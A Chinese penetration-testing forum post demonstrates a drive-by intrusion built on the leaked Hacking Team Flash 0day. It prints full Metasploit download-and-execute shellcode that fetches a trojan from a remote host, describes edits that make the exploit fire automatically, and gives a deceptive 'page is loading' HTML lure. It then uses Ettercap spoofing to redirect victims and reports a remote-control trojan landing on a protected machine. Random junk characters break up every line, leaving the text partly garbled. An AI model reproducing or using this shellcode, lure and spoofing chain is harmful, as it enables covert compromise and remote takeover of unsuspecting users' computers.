中国网络渗透测试联盟

标题: flash 0day之手工代码修改制作下载者实例入侵演示 [打印本页]
作者: admin    时间: 2018-10-20 20:28
标题: flash 0day之手工代码修改制作下载者实例入侵演示

6 `5 e: |3 e( B$ C4 p4 `( C/ F 三、flash 0day之手工代码修改制作下载者实例入侵演示 0 ^6 a1 F. j' M% H+ h

9 X8 v u5 i+ H% K

$ |7 w& m1 L# {6 q9 l, ~2 I a. u 利用到的工具： 6 ?7 [ m6 o I& F1 F

% K% Y, s0 t2 n2 P% d2 R6 u7 c

$ O8 Z! P6 S4 s/ n Msf - t- v0 H& q6 }0 q7 d9 |

+ h4 p$ _$ x {( ^7 B5 S. {( T8 \

( q$ y. E: P3 i5 ^# q. | Ettercap ' c0 V: @. l" B& p# _7 L

5 m$ t! `% T3 S

+ I; C6 `9 [- d: N/ H+ J( i0 a Adobe Flash CS6 + W$ `7 u! I) G6 k0 ]* A+ X9 O

/ \% h, ?) d/ n/ [, C. y" q

& D! a6 A! A" a Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 + V5 `% a- }( T' I0 N" Z6 b

/ Z& J& D% V! @& t2 K

/ @4 z- P D' q( F! [$ C# ~+ { 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options 7 G: Y5 l0 B' G6 M

- I: h4 o4 U( H- E" f2 g% [/ G

" Q0 _# K# t+ Y( l8 c; i 如图： / H* w; l7 }0 U

! r# B8 {! J& Y' K' E' I/ M/ ]

1 A$ Z2 q* B- f" t e( `/ z- P   5 p; C4 h9 Y2 H+ W

, s# c! T+ G/ K/ U B

& ]1 P7 I8 L/ c   2 F) e; C4 L, B8 \8 x5 c5 _' i

3 S# n) i1 j& |' M6 ]3 O- F

# I/ h$ Z- J3 M4 B' J+ G7 H; L" E/ L 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: 0 `! z- S5 L! v" D

( {1 g( P: C2 W9 H4 ~: Z1 f

% o4 L% r: f$ h% O' h/ n% o   ( l# x" g4 n6 Y3 w+ ^

( v' |& e! N) ^' A4 Y8 I

; W( b2 ?" W8 X8 J! k4 M   / C0 Y% R. |, |2 f2 N

8 W; [) j E, [* A" u2 y3 q, O

+ b. y1 ~: i3 L0 v 然后执行generate -t dword生成shellcode，如下： ( ~2 G( l) n8 R4 g4 |

* l9 U. i6 m6 G g7 n4 G' Z

7 b, v) q: a4 R6 v   $ N M" u; ~$ Q3 s

) N: o* ^$ d- I, e9 O' f

; q- P8 l* p3 w/ Q3 x 复制代码到文本下便于我们一会编辑flash exp，如下： - Q3 r" ^+ [6 Z) t" H- E

# I; C; W: m% {

4 I5 Q2 ]. j6 F9 ]1 V" K 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, - s* ~6 y+ t U" Z; }* b9 O E. h

. h0 F7 X, ^9 K) m. s. x

3 b6 I# X- M* |$ A1 w @3 ~% @/ l 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, ( \- @6 i0 }$ T. F$ Y3 ~

# J: F8 H) u2 G: H* H

* H7 }3 h) O2 o4 D 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, $ y- T! m' k# O& r0 F7 z5 r/ F

% j0 z7 a. e& [5 E

- j% F% y4 E8 e2 o$ B 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, ) P1 ~& b: j' K0 v7 f

* y7 ~( U G9 g

& L# B5 J) z. Q1 B# @0 @( P 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, 6 [2 { M4 I6 d5 r3 x

2 e. R1 ]- e s) U& M3 z3 N% M- W

5 X' E! d4 `/ z2 B/ p% R 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, e( _2 ^; V9 B8 F, c2 C8 m

5 c" a5 x/ c4 Y4 N

, [1 w1 |8 N4 ?- X* l 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, ! \! R3 n7 w+ }* ^7 Y

+ h" S g9 V5 t( r" J: A# |

& ~ T, Q7 v! W 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, & U) e9 u$ i) X" x/ u0 H& B

|) V. E# Q5 t. u5 R3 N0 O8 ]

: v0 d7 w( c9 o+ _$ _ 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, ( t: U( p0 ^6 }# q: p" ^5 P

. O6 x P) k5 O$ N. D

4 s& C* D- r; e/ _! F+ d 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, : R- I. q+ e) l! E( r$ T; Y

8 y# u w) I6 e4 t: v6 t& g" z

* E ]4 z' C7 b4 G 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, ) f$ ]2 f0 y, B" R8 R _ ]8 @

( ^4 e+ I9 ?4 s5 `( k" ^

* y7 S) S1 E* V; U( R 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, ! c8 C$ ]% G% I+ \. h/ Y

6 n: Q2 z5 F7 u, A* T$ Q3 h4 r+ P

( u: b7 E8 p5 S7 _! ^ 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 8 c: g/ ^! r/ ^# o- \1 W# F

) ]( v# m) J$ \; p+ D9 A3 B

9 A' q; L1 ^! l 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 ; v' p: N/ v# L, W1 u8 d: p

1 W& o9 j* t9 d% ]& r

/ ^+ U: }/ E% S& D   & B: Y$ {2 J+ } H

$ w% |2 A% T9 D

& b+ _+ m! z% t n) _) \+ u   - I2 ^+ s# O- \5 x

V; u- l0 @2 t4 f& g v+ N

7 p7 W. y, Q$ j3 P 下面我们来修改flash 0day exp，需要修改三个文件，分别为： % c( p9 _+ Z: W2 n6 ?& r0 P7 Y8 ]

( {1 b$ n6 w0 a9 s

& T+ A, s1 C+ i5 W/ S! W   ] G) ]1 h$ M8 X

! m9 E2 d1 T Z; r

& i! p5 c( M6 o' z& Y' { 先修改ShellWin32.as，部分源代码如图： 0 p- X7 {+ D2 n2 }/ l A: C

+ I+ \/ O5 f7 Y; T

' w/ H2 M& T. a4 L* H/ v2 ~) x$ }/ a   / u2 ~$ v5 I# o$ S- [( O

; d8 h, t, Z" s8 a! y) B& o7 j

: E6 V+ L: }0 q( Q, f 我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下： # |3 p( B$ b$ e, X

7 c: i; X, j# [( t

3 s2 G% e4 s6 }! X6 P d3 M+ |   : H% x) n9 d: q0 D

0 {6 q; w P6 q) @2 _

- Q5 t0 ]' Z, S3 u' V# P 然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： / Q' V& n4 H1 l' P

* c7 ]2 i- B5 y9 L: o" x

) h0 |9 H4 E! c3 ^$ M   + S7 a( ~/ o# L) q: n: M. M) ]

- q w& C- i/ u5 _5 @

* G6 b! o/ e" O4 V 换行在后面加一句TryExpl();注意是l不是数字1，然后如图： ! @! D$ Q! D9 P6 Q1 m: @* t! @) S# Q

* H% c7 m" g0 C% `+ I7 N

' z6 Y$ R# z; _! T+ K* f% q/ W   ) M3 D& O S+ W7 b

) N r W4 V& J0 ~; l! |

- A8 ?. I7 g- {+ }/ y( T u. ^   $ \4 v0 u+ t) ?! m1 s6 A4 F

$ q! H5 q" I6 R5 t4 O% H+ {( N. B

; L. u7 H( f7 R2 @# i   2 } y8 P5 h- D

' @' a, k' M7 b' x+ e( o$ Q

% J( h2 S0 J5 ?/ g 然后点保存，下面我们来编译一下，打开 & Q4 ~, H& `+ L! Y* m, F

4 [6 o/ X! C4 B$ m

6 X6 b) l$ x0 \: ^3 Y2 P* f exp1.fla然后点文件-发布，看看编译没错误 & [# W6 V3 h: T; R

, W% M7 U0 V# S0 f

4 A+ \% I; e {. `) h! E8 K L   ' P! M; R+ @; h2 |( U% h4 r1 O

' F6 Y/ [2 ]1 j

( }3 g7 _. D8 {4 {& }! {9 h9 |$ v   9 M7 I; R4 u) O$ l2 E

; G s1 I& o2 z: J" I) j, u# A' _! d

/ L4 x- N2 o; {6 }7 `   ! ?8 I% ?4 [+ y1 h' m

7 o7 g, A/ M/ |0 R3 }0 r2 q

* F" p' x7 c3 c; M. H v9 p C4 [   1 c1 i: _; H0 A* C' u1 n

$ o7 }1 i* Y. X/ ?9 x0 _6 y# f

$ K! F H; r/ G/ A3 m 然后我们把生成的 " k, |2 v' a/ y+ |# c4 s! `

7 f* T/ n5 Z5 G% v8 `0 ^

+ E. C- `- r, U( s* t& X7 p" e4 a exp1.swf丢到kailinux 的/var/www/html下： 5 ?/ \8 L. B1 c1 A' y

. @. s3 O% U8 j3 ~

* t# u, Q. U5 H; ? 然后把这段代码好好编辑一下 1 s1 m3 g( ?- F. d

$ a: R6 \* G/ F. v( n

6 |, }- E: t% W* Z   $ v2 F7 E( H. q( Y d" ~7 F

$ \7 z; k8 y1 e5 t7 T* W

8 H$ i; ~4 H! g" k" i7 h- B& j   3 K9 U# a& C0 C% _6 C# x: v

! j" n& ^5 B* i, R' ]6 I6 a3 V, b4 e

- Y1 j7 v. q0 t; J5 U. G   # m0 B3 O' q* z& r) i4 Q2 l0 h

* K1 z5 E5 t# d8 B$ Q

5 w+ f; q* u! e! g   : V+ m& }0 g" f

! T6 h: Y8 s. R9 H% k# S% |2 X$ v

" U' ?' b% G g7 v   " g" X6 S, G, o: W! m1 ^ m5 a/ W# |

9 }1 t& M+ T+ U' z) e- g9 R5 E

" L; z; x" k0 |; m0 n) |0 {   & u, U5 U5 t) X; q( r

* N' R$ o( D6 f/ b) \4 W( K

* t1 y Z$ Q+ @ <!DOCTYPE html> + w& S! A9 w4 T9 K- e

4 b# C0 ?# l5 I3 s4 P& E0 ]

! `7 q# a6 G0 \# F <html> / j1 B+ @' y% X

. W: U) n. N0 q7 X5 h

$ o; ^9 ^* ^; x3 ^, Q <head> # u0 H% i, v! L1 O

7 a' |1 `# ~3 }. I. H9 d5 X9 D

& I0 X/ W$ A u2 `' f <meta http-equiv="Content-Type" content="text/html; , h7 R% k6 }- d! ]. p

, q3 F6 _& J& U1 ~; O$ `7 G

) J" I Y1 o+ ~1 X e charset=utf-8"/> - x: k- ]. n+ r2 l; h

, p A3 t- T$ S, M/ i

; r& x( x u; D1 N9 L7 c </head> ) `0 w* Y3 v* v( T- Y

$ x: u; x; E6 c: D; _, L7 i

( R+ T' W' ~0 b+ V <body> ( {0 `, U" z( N1 Q! h* _; k& ^+ y, n+ Y) {

; P; ?9 ]( y. O. D9 Y

3 S5 [0 }% @* E0 s- y- E6 t4 B <h2> Please wait, the requested page is loading...</h2> 2 |# `7 g: D$ ?; \& O3 I4 R

( R6 G0 d0 l: H1 ^2 J/ F3 |

. Q, W/ S6 h1 y5 }& @* ^ <br> $ P9 n6 R+ o- V8 ]4 X

0 Z# {; ]3 f. j( G1 g. V/ R

# V) }+ m0 K: [8 z <OBJECT 5 O3 G0 P+ t1 b: H( Q* e# v

6 T9 @4 M$ B; M1 I. c

9 ]7 H" v% P! | D7 ^. e% y; R. m classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie * }( o" n" c$ \' h1 H2 Z: B

& B3 t4 d& k- `" j8 f

7 a1 Z! b; ~6 ], s2 h! B ^ VALUE="http://192.168.0.109/exp1.swf"></OBJECT> 1 Y, [. q m- x* T( t6 h4 N

5 H3 w, x, f3 L+ O1 i

- y4 @3 C7 A/ S6 f* d </body> y! A& o: ^' w

1 ^' [: U$ o/ X

4 x/ C2 \8 N6 ~8 e. @4 v0 p' f <script> . H- B# |! {0 a5 F' |5 J( ^: _# {; e" A8 m

4 |9 O5 Z* y$ C7 t7 U1 P

& u) L0 T/ O9 ]8 e9 w1 I     setTimeout(function () { 5 f) h( x/ F& G3 G$ R

' w! N- _5 g! B

7 Q8 y/ V* G; D( J: X/ `          7 |% {9 o/ u# M7 e$ @7 n& L# S3 ]

' D( q+ D3 G. C4 x `' ^! ?

( P5 |! {7 ^' v' k, v& ~ window.location.reload(); 5 x" \9 `5 t: B! E) e4 u3 T" s

5 F O/ e. S, Y6 K

& c8 n1 a E# u     }, 10000); * }/ u5 b; [) \# H% J. L

: ]( I: e0 v* g! H. y/ Q

d3 d# D* `0 \/ Z: k   ' \/ W( @8 Y# J

' v) I, ]6 E& D! ` h7 Z

# w) R6 \6 F' f </script> ; r0 P- \ {9 u+ k, G, [

+ A$ F; ?6 x9 c4 b% K' m9 }

8 o+ N' {& b$ } </html> P) `; I$ ^# b6 R# C

, o T& Y; F+ f1 `7 A

9 ~ B6 f i3 P6 {2 j   1 I& `8 f: k9 ]8 M* H' y

6 A5 w& a3 _! i- A! u

" {( K7 }: `, D9 X 注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图： 0 V- z- k: ~ @4 k2 \/ E

& x) U4 p) |% \& p' }/ U3 Y, L

: N& T' j' R Y8 z- c0 F U/ Q   6 c2 R. V7 {8 D+ Q6 Z

8 Z& y6 j7 P& M" c4 K; _" l

1 Q% H& L( T# N! c+ [   : [1 F( i7 Q# m) ~+ p7 r

+ {7 Z- n7 ]# G9 u; d

! k- l8 ?; D& I# j" b   ) l% w; Q4 L6 z" m. w1 y

+ t0 s$ `! {. x/ Q! W# Z/ _8 i

& F; M% c1 ]; V# C, S   Y6 p# X+ s4 R, E3 g( V# Z

" T6 R& g' ?1 x: A2 _5 I9 s2 S, F

/ U+ [% D0 m- W   $ X& C1 h; g3 a! K& }, n1 l3 ^; I! `

, S/ C4 a& m% l% L6 K

. U7 t) d w; h" o4 T 下面我们用ettercap欺骗如图： ( W4 e" P; P* p. S4 N4 g

6 X3 w& ]) V: w! _. n

, E3 q% \: s) J   3 G) _* z$ H* }7 Y9 D7 U

+ G& a1 \9 {. k1 h8 w3 Y: r

) V- I/ f& i1 ^3 c" {   2 I; F) T" l% d, E# s) _% m

7 @1 ?1 J7 u% S& D" y( w7 O$ k

: o4 `, R: ?- j5 @9 P2 v) D; ^' c0 F 下面我们随便访问个网站看看： 9 M( h7 }4 z+ p F* {: P: W

) p; o& E% \4 f+ N' T' Q

% O& X3 i* Q& d: u; Y' V 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图： % l& E9 N5 E, Q4 j! Q

" r' o( G' i. p( ~ l! N

+ @9 s% }0 K% m7 v5 W   ; h2 M7 D# A( b4 L$ S ?% ~- b$ v: m

0 @9 ]# | [3 v4 ~% |& L. @

; w" b5 Z L4 G0 p1 D9 l' ^6 o 我们看另一台， 7 \2 e7 N$ [+ e. D M9 e

, t3 f9 c$ L# B0 H. N

+ m* y% `* p" v4 J' p* Q2 i 提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。 . b- _2 U7 {+ _; f





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2